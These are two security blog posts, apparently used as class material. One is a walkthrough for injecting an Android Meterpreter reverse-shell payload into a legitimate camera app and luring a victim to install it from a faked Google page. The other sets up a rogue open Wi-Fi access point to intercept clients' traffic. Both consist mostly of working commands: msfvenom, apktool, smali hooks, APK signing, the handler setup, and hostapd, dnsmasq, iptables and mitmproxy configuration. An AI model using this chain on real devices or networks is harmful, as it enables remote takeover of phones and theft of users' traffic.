Injecting Meterpreter payload to an existing APK

From the previous blog entry about Fake AP, we could control whatever websites (by setting the fake host table), so we could modify the website that user likes to visit, and lure him to download a modified apk.

In dnsmsaq.conf, we can add fakehost file so that the connected clients will visit our "modified" websites if they type those domains

here is the fake Google website at localhost

Anyway, let's see the main dish, how to inject Meterpreter payload to an existing apk.
We will need:
- Kali Linux (easiest to setup, or other OS you feel comfortable)
- apktool 2.2.2 (latest version)
- Signapk.jar
- A working apk (we picked BeautyCam here)

1.) Create Meterpreter apk with following command
msfvenom -p android/meterpreter/reverse_tcp lhost=10.0.0.1 lport=4444 R > msf.apk

an apk will be created, if you simply sign this apk, open a meterpreter handler and install to your android phone, once it's running, the phone will be connecting to the handler and you own the phone

2.) decompile the msf apk, as we want to get the payload smali
../apktool d msf.apk

3.) Get the apk that you want to inject, and decompile it
../apktool d meitu.apk

4.) So let's locate the payload smali, "/msf/smali/com/metasploit/stage",
you have to copy a.smali, b.smali, c.smali, d.smali and Payload.smali

we need to copy whole folder "/com/metasploit/stage" to our target

the most important steps:

Copy the permissions from msf's Manifest xml, and copy them to Meitu's
Then locate the MainActivity from Meitu's Manifest.xml

com.meitu.meiyancamera.MyxjActivity

then we go to /com/meitu/meiyancamera/MyxjActivity.smali, and find " onCreate(Landroid/os/Bundle;)V"

add the Metasploit payload after it

invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V

5.) Then we build the meitu apk (just ignore the warnings)
../apktool b meitu

6.) Sign the apk
java -jar ../signapk.jar ../certificate.pem ../key.pk8 meitu/dist/meitu.apk meitu-signed.apk

7.) copy it to our website

8.) setup Meterpreter Handler

msfconsole
use exploit/multi/handler
set payload android/meterpreter/reverse_tcp
set lhost 10.0.0.1
set lport 4444
exploit

9.) Fake Google website from victim, and lure him to download the App (of course in reality, this is not likely to happen to popup and ask for a download)

10.) It asks for all access rights, normally people just go ahead

11.) Install and run BeautyCam as usual

12.) On our side, we owned the phone already :)

Afterall, injecting Meterpreter or other payloads to an existing apk is not rocket science, it is more important for us to think about how to harden the apk, so that it is more difficult to recompile, or any other integrity check, binary check etc...

This is the video demo that I show to the students, about the interaction between the Victim and Hacker :)

Fake AP with Kali Linux VM

Setting up a fake AP to lure victims to connect and capture their traffic is rather simple, with reference to this blog (http://cybergibbons.com/security-2/quick-and-easy-fake-wifi-access-point-in-kali/), we can do the same in a Kali Linux VM. The following steps are for demo / testing only, do not use to it for illegal purpose my friend.

1.) You need the TP-LINK TL-WN722N (this one should be the most compatible)

2.) Install the Kali Linux in VM (https://www.kali.org/downloads/)

3.) Start your Kali Linux, connect your TP-LINK usb thing to the VM.

4.) Type "ifconfig -a" to check which one should we use, in this case we will use "wlan0"

5.) Type "ifconfig wlan0 10.0.0.1/24 up" to bring it as the gateway. remember to kill the process that may be interfering, you can type the command "airmon-ng check kill"

6.) Install dnsmasq and hostapd if you haven't (apt-get install dnsmasq hostapd)

7.) After installation, create the config file for dnsmasq (vi dnsmasq.conf)

--------------------------------

interface=wlan0
dhcp-range=10.0.0.10,10.0.0.250,12h
dhcp-option=3,10.0.0.1
dhcp-option=6,10.0.0.1
server=8.8.8.8
log-queries
log-dhcp

--------------------------------

8.) create the config file for hostapd (vi hostapd.conf), "MYMITIMTEST" is the SSID that we want the others to connect (by the way, spelling mistake, MITM became MITIM here, but it doesn't matter as it's for testing only :)...)

--------------------------------

interface=wlan0
driver=nl80211
ssid=MYMITIMTEST
channel=1

--------------------------------

9.) Start dnsmasq by "dnsmasq -C dnsmasq.conf", if you encounter "failed to bind DHCP server socket: Address already in use", you can type "killall -9 dnsmasq" to kill it first ;)

10.) Start hostapd by "hostapd ./hostapd.conf", or simply put everything into a script like below:

11.) After starting the wifi, we have to do the routing. Open the new terminal and type the commands:

sudo sysctl -w net.ipv4.ip_forward=1
sudo iptables -P FORWARD ACCEPT
sudo iptables --table nat -A POSTROUTING -o eth0 -j MASQUERADE

12.) you will also want to capture the traffic of the clients, so you can use mitmproxy or wireshare.

12a.) if you use mitmproxy, you simply forward the traffic of port 80 to 8080 (we just try port 80 here, if you wish to do 443 as well, you will have to install the cert to clients first)

type the command:

mitmproxy -T --host 
sudo iptables -t nat -A PREROUTING -i wlan0 -p tcp --dport 80 -j REDIRECT --to-port 8080

12b.) if you want to use wireshark, just open wireshark, and choose "wlan0" as the interface.

So basically you have already set up the AP which allows the public to connect, so in client side, what will it look like?

suppose a phone is trying to connect to this AP.....


"MYMITIMTEST" was found, such a relief to find a FREE OPEN WIFI! :)

and the signal is strong!

Browsing as usual, we use "demo.testfire.net" as example this time

so in our server, what can we see?? Yes, you just scroll up and check MITM and Wireshark sample screens, all the traffic is captured. :) Isn't it very simple to setup your own AP for testing? Happy testing and researching!